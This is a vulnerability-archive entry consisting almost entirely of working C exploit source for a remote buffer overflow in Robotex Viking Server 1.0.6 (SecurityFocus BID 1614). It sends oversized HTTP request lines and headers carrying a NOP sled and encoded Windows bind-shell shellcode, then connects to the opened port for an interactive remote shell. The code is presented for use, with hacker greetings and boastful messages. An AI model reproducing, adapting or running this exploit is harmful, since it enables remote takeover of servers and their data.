source: http://www.securityfocus.com/bid/1614/info A number of unchecked buffers exists in Robotex Viking Server. This enables a malicious user to either crash the application or execute arbitrary code, depending on the data supplied. /* Robotex Viking Server Buffer Overflow Vulnerability Xploit by [email protected] Accoding to bugtraq advisory.... Bugtraq id : 1614 Class : Boundary Condition Error Cve : GENERIC-MAP-NOMATCH Remote : Yes Local : Yes Published : August 28, 2000 Vulnerable : Robotex Viking Server 1.0.6 Build 355 and prior - Microsoft Windows 95 - Microsoft Windows NT 4.0 Not vulnerable : Robotex Viking Server 1.0.6 Build 370 and above - Microsoft Windows 95 - Microsoft Windows NT 4.0 The following commands will crash Viking Server: 1) GET [x11765] HTTP/1.1<enter><enter> 2) GET / HTTP/1.1<enter> Unless-Modified-Since: [x14765]<enter><enter> 3) GET / HTTP/1.1<enter> If-Range: [x14765]<enter><enter> 4) GET / HTTP/1.1<enter> If-Modified-Since: [x14765]<enter><enter> Compile with: gcc RoboVikiXploit.c -o RoViX Comments : Yeah...I KNOW, i could have coded this longer'ago...but i've been kind of away ;P heh So...about one week'after being posted...here's tha exploit ;) Greetz to: I would like to dedicate'this code to my "new" friendz from last sunday when'#coders got together... ;) (in no particulary order :]) Myke,Arsox,lucipher,mortiis,SamWise,Branc0,String,|Yzfr1|, Residdent,Net_phreak,NetCyborg,RedBaron (or something), and... i think'im not forgetting anybody :] If so, FLAME ME! I WAVE IT ;) heh Well..why not send a hug to my other'friendz at PTNET? :] niness, [medusa], pheer, ping, buffer, Badfile, jynx, nopinyp, X-raver, lunatic, Dalailama, errr...so many ppl I'll just /quote PRIVMSG *!*@* I WAVE YOU ALL! ;) */ #include <netdb.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> struct RoboVikiXploiting_ways { char *Xploit_way; int port; char *command; int overflow_string_size; }; struct RoboVikiXploiting_ways RoboVikiXploiting_ways[]={ {"Robotex Viking Server simple HTTP Overflow",80,"GET BO HTTP/1.1\n\n",11765}, {"Robotex Viking Server [Unless-Modified-Since] HTTP Overflow",80,"GET / HTTP/1.1\nUnless-Modified-Since: BO\n\n",14765}, {"Robotex Viking Server [If-Range] HTTP Overflow",80,"GET / HTTP/1.1\nIf-Range: BO\n\n",14765}, {"Robotex Viking Server [If-Modified-Since] HTTP Overflow",80,"GET / HTTP/1.1\nIf-Modified-Since: BO\n\n",14765}, {NULL,0,NULL,0} }; #define NOP 0x90 #define PORT_LOCATION 524 // Port will be injected on // byte'shellcode + 524 // Leet Port Binder'shellcode for Win b0xez... char shellcode[] = "\x4b\x8b\xc3\xbb\x01\x90\x16\x01\xc1\xeb\x02\x8b\xf8\x33" "\xc0\x50\x48\x90\x50\x59\xf2\xaf\x59\xb1\xc6\x8b\xc7\x48" "\x80\x30\x99\xe2\xfa\x33\xf6\x96\x90\x90\x56\xff\x13\x8b" "\xd0\xfc\x33\xc9\xb1\x0b\x49\x32\xc0\xac\x84\xc0\x75\xf9" "\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a\xe2" "\xec\x32\xc0\xac\x84\xc0\x75\xf9\xb3\x01\x4b\x90\x56\xff" "\x13\x8b\xd0\xfc\x33\xc9\xb1\x06\x32\xc0\xac\x84\xc0\x75" "\xf9\x52\x51\x56\x52\xb3\x80\x90\x90\xff\x13\xab\x59\x5a" "\xe2\xec\x83\xc6\x05\x33\xc0\x50\x40\x50\x40\x50\xff\x57" "\xe8\x93\x6a\x10\x56\x53\xff\x57\xec\x6a\x02\x53\xff\x57" "\xf0\x33\xc0\x57\x50\xb0\x0c\xab\x58\xab\x40\xab\x5f\x48" "\x50\x57\x56\xad\x56\xff\x57\xc0\x48\x50\x57\xad\x56\xad" "\x56\xff\x57\xc0\x48\xb0\x44\x89\x07\x57\xff\x57\xc4\x33" "\xc0\x8b\x46\xf4\x89\x47\x3c\x89\x47\x40\x8b\x06\x89\x47" "\x38\x33\xc0\x66\xb8\x01\x01\x89\x47\x2c\x57\x57\x33\xc0" "\x50\x50\x50\x40\x50\x48\x50\x50\xad\x56\x33\xc0\x50\xff" "\x57\xc8\xff\x76\xf0\xff\x57\xcc\xff\x76\xfc\xff\x57\xcc" "\x48\x50\x50\x53\xff\x57\xf4\x8b\xd8\x33\xc0\xb4\x04\x50" "\xc1\xe8\x04\x50\xff\x57\xd4\x8b\xf0\x33\xc0\x8b\xc8\xb5" "\x04\x50\x50\x57\x51\x50\xff\x77\xa8\xff\x57\xd0\x83\x3f" "\x01\x7c\x22\x33\xc0\x50\x57\xff\x37\x56\xff\x77\xa8\xff" "\x57\xdc\x0b\xc0\x74\x2f\x33\xc0\x50\xff\x37\x56\x53\xff" "\x57\xf8\x6a\x50\xff\x57\xe0\xeb\xc8\x33\xc0\x50\xb4\x04" "\x50\x56\x53\xff\x57\xfc\x57\x33\xc9\x51\x50\x56\xff\x77" "\xac\xff\x57\xd8\x6a\x50\xff\x57\xe0\xeb\xaa\x50\xff\x57" "\xe4\x90\xd2\xdc\xcb\xd7\xdc\xd5\xaa\xab\x99\xda\xeb\xfc" "\xf8\xed\xfc\xc9\xf0\xe9\xfc\x99\xde\xfc\xed\xca\xed\xf8" "\xeb\xed\xec\xe9\xd0\xf7\xff\xf6\xd8\x99\xda\xeb\xfc\xf8" "\xed\xfc\xc9\xeb\xf6\xfa\xfc\xea\xea\xd8\x99\xda\xf5\xf6" "\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xc9\xfc\xfc\xf2\xd7" "\xf8\xf4\xfc\xfd\xc9\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8" "\xf5\xd8\xf5\xf5\xf6\xfa\x99\xce\xeb\xf0\xed\xfc\xdf\xf0" "\xf5\xfc\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xca\xf5" "\xfc\xfc\xe9\x99\xdc\xe1\xf0\xed\xc9\xeb\xf6\xfa\xfc\xea" "\xea\x99\xce\xca\xd6\xda\xd2\xaa\xab\x99\xea\xf6\xfa\xf2" "\xfc\xed\x99\xfb\xf0\xf7\xfd\x99\xf5\xf0\xea\xed\xfc\xf7" "\x99\xf8\xfa\xfa\xfc\xe9\xed\x99\xea\xfc\xf7\xfd\x99\xeb" "\xfc\xfa\xef\x99\x9b\x99" "\xff\xff" // Port Number will be injected here... "\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\xfa\xf4\xfd\xb7\xfc\xe1\xfc\x99" "\xff\xff\xff\xff\x09\x1f\x40\x00\x0d\x0ah"; int openhost(char *host,int port) { int sock; struct sockaddr_in addr; // Oh yeah...got 2 resolve host information again :] struct hostent *he; he=gethostbyname(host); if (he==NULL) return -1; sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto); if (sock==-1) return -1; memcpy(&addr.sin_addr, he->h_addr, he->h_length); addr.sin_family=AF_INET; addr.sin_port=htons(port); if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1; return sock; } void sends(int sock,char *buf) { write(sock,buf,strlen(buf)); } void own3dshell(int sock) { char buf[1024]; fd_set rset; int i; while (1) { FD_ZERO(&rset); FD_SET(sock,&rset); FD_SET(STDIN_FILENO,&rset); select(sock+1,&rset,NULL,NULL,NULL); if (FD_ISSET(sock,&rset)) { i=read(sock,buf,1024); if (i <= 0) { printf("The connection was closed!\n"); printf("Exiting...\n\n"); exit(0); } buf[i]=0; puts(buf); } if (FD_ISSET(STDIN_FILENO,&rset)) { i=read(STDIN_FILENO,buf,1024); if (i>0) { buf[i]=0; write(sock,buf,i); } } } } void VikingXown(char *host, int type, int bind_shell_port) { char *buf, *tmp; int sock, i, x, buffer_size, bindshell=bind_shell_port; unsigned char *ShellPortOffset; printf("Type Number : %d\n",type); printf("Xploit waye : %s\n",RoboVikiXploiting_ways[type].Xploit_way); printf("Port : %d\n",RoboVikiXploiting_ways[type].port); printf("Bind Shell Port : %d\n",bindshell); printf("Let the show begin ladyes...\n"); printf("Connecting to %s [%d]...",host,RoboVikiXploiting_ways[type].port); sock=openhost(host,RoboVikiXploiting_ways[type].port); if (sock==-1) { printf("FAILED!\n"); printf("Couldnt connect...leaving :|\n\n"); exit(-1); } printf("SUCCESS!\n"); printf("Determinating buffer size..."); buffer_size=(strlen(RoboVikiXploiting_ways[type].command) + RoboVikiXploiting_ways[type].overflow_string_size); printf("DONE! (%d)\n",buffer_size); printf("Allocating memory for buffer..."); if (!(buf=malloc(buffer_size))) { printf("FAILED!\n"); printf("Leaving... :[\n\n"); exit(-1); } printf("WORKED!\n"); printf("Allocating memory for temp buffer..."); if (!(tmp=malloc(RoboVikiXploiting_ways[type].overflow_string_size))) { printf("FAILED!\n"); printf("Leaving... :[\n\n"); exit(-1); } printf("WORKED TO! (heh)\n"); for(i=0; i<RoboVikiXploiting_ways[type].overflow_string_size-strlen(shellcode); i++) tmp[i]=NOP; // Now we inject the 16 byte port number on tha shellcode ;) ShellPortOffset = shellcode + PORT_LOCATION; bind_shell_port ^= 0x9999; *ShellPortOffset = (char) ((bind_shell_port >> 8) & 0xff); *(ShellPortOffset + 1) = (char) (bind_shell_port & 0xff); strcat(tmp,shellcode); for(i=0;;i++) if ((RoboVikiXploiting_ways[type].command[i]=='B') && (RoboVikiXploiting_ways[type].command[i+1]=='O')) break; else buf[i]=RoboVikiXploiting_ways[type].command[i]; strcat(buf,tmp); i+=2; for(;i<strlen(RoboVikiXploiting_ways[type].command);i++) buf[strlen(buf)]=RoboVikiXploiting_ways[type].command[i]; printf("Sending EVIL buffer ;)\n"); sends(sock,buf); close(sock); printf("Freeing buffers..."); free(buf); free(tmp); printf("DONE!\n"); printf("Trying to binded'shell [%d]...",bindshell); sock=openhost(host,bindshell); if (sock==-1) { printf("FAILED!\n"); printf("Too bad... :[ exiting...\n\n"); exit(-1); } printf("W0RK3D! ;)\n"); printf("Prepare to have an orgazm...(or something like that *g*)\n"); own3dshell(sock); printf("I RULE!\n"); // Heh, nobody will ever'c thiz message, so why not? ;) } void show_types() { int i; printf("\n\t\t\t-* Available Typez *-\n\n"); for(i=0;(RoboVikiXploiting_ways[i].Xploit_way!=NULL);i++) { printf("Type Number: %d\nXploit Way : %s\nPort : %d\nOverflow string size : %d\n-************************-\n",i ,RoboVikiXploiting_ways[i].Xploit_way ,RoboVikiXploiting_ways[i].port ,RoboVikiXploiting_ways[i].overflow_string_size); } } main(int argc, char *argv[]) { int i; // lets keep on (int) var i the number of types ;) for(i=0;;i++) if (RoboVikiXploiting_ways[i].Xploit_way==NULL) break; i--; // oh shit! Cant forget that'array[0] thingie! :)) printf("\nRobotex Viking Server 1.0.6 Build 355 and prior by [email protected]\n\n"); if (argc<4) { printf("Sintaxe: %s <host> <type number> <bind shell port> [port (server)]\n",argv[0]); show_types(); printf("\nFlamez to [email protected]\n\n"); } else if (atoi(argv[2])<=i) if (argc==4) if (atoi(argv[3])>0) VikingXown(argv[1],atoi(argv[2]),atoi(argv[3])); else { printf("Invalid Server Port... [(port_number <= 0)]\n"); printf("Try again...heh\n\n"); } else if ((atoi(argv[3])>0) && (atoi(argv[4])>0)) { RoboVikiXploiting_ways[atoi(argv[2])].port=atoi(argv[4]); VikingXown(argv[1],atoi(argv[2]),atoi(argv[3])); } else { printf("Invalid Server/Bind Shell Port... [(port_number <= 0)]\n"); printf("Try again...heh\n\n"); } else { printf("Invalid type value (max type=%d)\n",i); show_types(); printf("\n\n"); } }